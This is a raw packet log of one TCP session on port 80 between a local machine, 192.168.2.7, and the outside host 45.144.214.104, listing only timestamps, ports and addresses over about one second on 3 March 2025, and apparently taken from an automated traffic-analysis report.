Mar 3, 2025 08:45:54.840074062 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.840078115 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840089083 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840100050 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840104103 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.840111971 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840120077 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.840157986 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.840292931 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840305090 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840317011 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840327978 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840339899 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840342999 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.840352058 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840363979 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840368032 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.840390921 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.840466976 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840485096 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840500116 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840509892 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840532064 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840534925 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.840547085 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840558052 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.840558052 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840576887 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840579033 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.840588093 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840599060 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840605021 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.840610027 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840635061 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840636015 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.840651989 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840655088 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.840663910 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840673923 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840686083 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840691090 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.840697050 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840709925 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840709925 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.840720892 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840733051 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.840734959 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.840776920 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.882555008 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882580042 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882590055 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882608891 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882622004 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882638931 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882651091 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882652998 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.882689953 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.882708073 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882719994 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882739067 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882750034 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882761955 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882764101 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.882764101 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.882775068 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882783890 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.882800102 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882810116 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882811069 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.882822990 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882829905 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.882836103 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882847071 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882867098 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.882884979 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882901907 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.882925034 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882936001 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.882961035 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.882998943 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.883011103 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.883023977 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.883033991 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.883034945 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.883045912 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.883059978 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.883061886 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.883074045 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.883102894 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.883122921 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.883197069 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.883208990 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.883244991 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.925838947 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.925852060 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.925872087 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.925884008 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.925894022 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.925905943 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.925910950 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.925918102 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.925929070 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.925936937 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.925991058 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.926033974 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926093102 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926143885 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.926178932 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926196098 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926208019 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926218987 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926225901 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.926229954 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926244020 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.926291943 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926310062 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926321983 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926322937 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.926331997 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926345110 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.926351070 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926362038 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926373005 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926383972 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926398993 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.926402092 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926413059 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926424026 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926434994 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926440954 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.926454067 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926455975 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.926465034 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926475048 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926475048 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.926486015 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926497936 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926510096 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926517010 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.926553011 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.926584959 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926595926 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926614046 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926619053 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.926641941 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926644087 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.926652908 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926662922 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926677942 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926682949 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.926712990 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.926951885 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926981926 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.926991940 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927027941 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927028894 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927040100 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927051067 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927069902 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927073002 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927087069 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927098036 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927107096 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927109957 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927126884 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927155018 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927195072 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927205086 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927222967 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927233934 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927236080 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927243948 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927263975 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927268982 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927275896 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927288055 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927298069 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927306890 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927309990 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927337885 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927341938 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927388906 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927433968 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927500963 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927517891 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927529097 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927539110 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927551031 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927561045 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927572966 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927586079 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927645922 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927655935 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927673101 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927685022 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927702904 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927707911 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927714109 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927723885 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927735090 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927735090 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927752018 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927755117 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927767038 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927778006 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927795887 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927807093 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927808046 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927818060 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927829027 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927839994 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927845001 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927851915 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.927870989 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.927906036 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.928105116 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.928116083 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.928127050 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.928138018 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.928149939 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.928160906 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.928162098 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.928173065 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.928198099 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.969564915 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969604015 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969615936 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969628096 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969645977 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.969664097 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969671965 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.969679117 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969691992 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969702959 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969706059 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.969717026 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969727039 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.969727039 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969738960 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969767094 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.969769001 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969779968 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969780922 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.969809055 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.969826937 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969851971 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969863892 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969885111 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.969887972 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969901085 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969912052 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969932079 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969933033 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.969944000 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969955921 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.969963074 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.969983101 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.969989061 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.970000029 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.970010996 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.970031023 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.970046043 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.970057964 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.970060110 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.970071077 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.970087051 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.970093012 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.970103979 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.970110893 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:54.970139027 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:54.970169067 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.012856960 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.012888908 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.012900114 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.012916088 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.012928963 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.012942076 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.012955904 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.012957096 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.012968063 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013006926 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013024092 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013084888 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013098001 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013109922 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013134956 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013159990 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013204098 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013206959 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013248920 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013256073 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013268948 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013281107 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013314962 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013315916 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013328075 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013340950 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013353109 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013360977 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013375044 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013382912 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013386011 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013415098 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013453960 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013467073 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013478994 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013492107 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013493061 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013503075 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013518095 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013525009 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013539076 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013546944 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013550043 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013564110 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013585091 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013586044 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013597965 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013607979 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013612032 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013621092 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013642073 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013669968 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013895035 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013906956 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013920069 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013926029 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013937950 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013955116 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013955116 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013967037 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.013983965 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.013986111 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014002085 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014005899 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014019012 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014030933 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014034986 CET	49705	80	192.168.2.7	45.144.214.104
Mar 3, 2025 08:45:55.014049053 CET	80	49705	45.144.214.104	192.168.2.7
Mar 3, 2025 08:45:55.014051914 CET	49705	80	192.168.2.7	45.144.214.104
